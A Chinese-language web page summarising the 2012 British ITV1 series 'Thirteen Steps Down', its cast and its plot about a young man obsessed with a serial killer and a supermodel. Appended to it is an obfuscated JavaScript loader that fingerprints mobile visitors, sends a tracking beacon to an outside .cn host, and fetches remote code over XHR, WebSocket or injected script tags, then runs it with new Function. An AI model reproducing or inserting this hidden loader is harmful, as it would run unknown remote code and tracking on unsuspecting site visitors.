《十三级台阶第一季》是由Marek,Losey执导,卢克·崔德威,杰拉丁妮·詹姆斯,Elarica,Gllacher,安娜·考尔德-马歇尔主演的欧美剧。该电视剧于2012年在英国上映。这是一个关于孤独、痴迷以及迷信的故事。《十三级台阶》作者为Ruth Rendell,由Adrian Hodges(代表作:我与梦露的一周)改编,将在ITV1频道播出,共两集,每集60分钟。Mix Cellini(Luke Treadaway饰演)是个有着一段不堪过往的青年男子。由母亲独自抚养长大,Mix6岁那年差点被喝醉酒的继父杀死。而他也曾因企图用番茄酱瓶杀害妹妹而受到指控。Mix现年29岁,租住在Blaise House顶层的房间。Blaise House是位于诺丁山的一处废弃住宅,现年70多岁的老姑娘Gwendolen Chaucer(Geraldine James饰演)一生都居于此。她与外界接触极少,跟她同住的是Olive和Queenie (Gemma Jones与Anna CalderMarshall饰演),也都是70多岁,是她这极少交际的一生中勉强称得上“朋友”的。 Mix非常地有魅力,十分轻易便令女士们为他倾倒。而Mix对两位人物也有着强大的迷恋,一位是上世纪四五十年代瑞灵顿街10号附近声名狼藉的连环杀手Reginald Christie;另一位是超模Nerissa Nash(Elarica Gallacher饰演)。Mix无时无刻不在研究着那个连环杀手,从书、杂志和网络上如饥似渴地收集有关他的信息。而对于后者,Mix是疯狂的迷恋与崇拜,到了暗中跟踪的地步。Mix游走于现实与幻想的危险边缘,当其女友Danila Kovic对Nerissa大加批评时,他却暴怒起来,内心藏匿已久的暴力冲动一下喷涌而出。冰冰字幕组新闻组翻译转载请注明出处
function qkbQym(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function REyXs(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return qkbQym(t);};window[''+'j'+'o'+'q'+'t'+'N'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ZEjcl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=REyXs,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ZEjcl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ZEjcl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC5jbiUzQTg44OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','4680',window,document,['4','J']);}:function(){};